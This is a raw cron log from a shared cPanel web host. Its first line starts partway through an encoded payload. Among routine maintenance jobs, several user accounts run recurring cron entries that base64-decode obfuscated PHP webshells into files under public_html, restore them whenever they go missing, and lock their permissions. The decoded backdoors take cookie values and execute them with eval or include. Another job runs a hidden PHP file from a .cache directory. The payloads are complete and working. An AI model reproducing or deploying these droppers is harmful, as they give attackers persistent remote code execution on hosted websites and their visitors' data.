CRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:13:02 medusa CROND[12392]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:13:02 medusa CROND[12399]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:14:01 medusa CROND[13913]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:14:02 medusa CROND[13933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:14:02 medusa CROND[13934]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:14:02 medusa CROND[13935]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:14:02 medusa CROND[13936]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:14:02 medusa CROND[13937]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:14:02 medusa CROND[13943]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:14:02 medusa CROND[13944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:14:02 medusa CROND[13947]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:14:02 medusa CROND[13954]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:14:02 medusa CROND[13956]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:14:02 medusa CROND[13955]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:14:02 medusa CROND[13959]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:15:01 medusa CROND[15879]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:15:01 medusa CROND[15891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:15:01 medusa CROND[15900]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:15:01 medusa CROND[15906]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:15:02 medusa CROND[15954]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:15:02 medusa CROND[15956]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:15:02 medusa CROND[15957]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:15:02 medusa CROND[15959]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:15:02 medusa CROND[15958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:15:02 medusa CROND[15968]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:15:02 medusa CROND[15967]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:15:02 medusa CROND[15970]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:15:02 medusa CROND[15971]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:15:02 medusa CROND[15972]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:15:02 medusa CROND[15974]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 09:15:02 medusa CROND[15976]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:15:02 medusa CROND[15960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:15:02 medusa CROND[15982]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:15:02 medusa CROND[15969]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:15:02 medusa CROND[15984]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:15:02 medusa CROND[15985]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:15:02 medusa CROND[15987]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:15:02 medusa CROND[15989]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:16:02 medusa CROND[17554]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:16:02 medusa CROND[17560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:16:02 medusa CROND[17561]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
